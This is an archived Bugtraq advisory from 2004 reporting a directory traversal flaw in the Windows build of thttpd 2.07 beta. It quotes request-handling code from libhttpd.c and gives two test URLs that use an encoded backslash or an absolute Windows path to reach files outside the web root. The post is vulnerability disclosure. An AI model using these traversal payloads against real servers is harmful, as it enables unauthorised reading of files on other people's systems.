Home page logo
/

bugtraq logo Bugtraq mailing list archives

Bug () thttpd
From: "CoolICE" <CoolICE () China com>
Date: Wed, 4 Aug 2004 16:02:44 +0800

Application:    thttpd
Vendors:        http://www.acme.com/software/thttpd/
Version:        2.07 beta 0.4 10dec99
Platforms:      Windows
Bug:            Directory Traversal
Date:           2004-08-04
Author:         CoolICE
e-mail:         CoolICE#China.com
================
Content:
in libhttpd.c:
int
httpd_parse_request( httpd_conn* hc )
[...]
    if ( hc->decodedurl[0] != '/' )
        {
        httpd_send_err( hc, 400, httpd_err400title, httpd_err400form, "" );
        return -1;
        }

static int
really_start_request( httpd_conn* hc )
[...]
    if ( stat( hc->expnfilename, &hc->sb ) < 0 )
        {
        httpd_send_err( hc, 500, err500title, err500form, hc->encodedurl );
        return -1;
        }
------------------
TestCode:
http://localhost/%5c../test.ini
http://localhost/c:\test.ini


  By Date           By Thread  

Current thread:
  • Bug () thttpd CoolICE (Aug 04)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]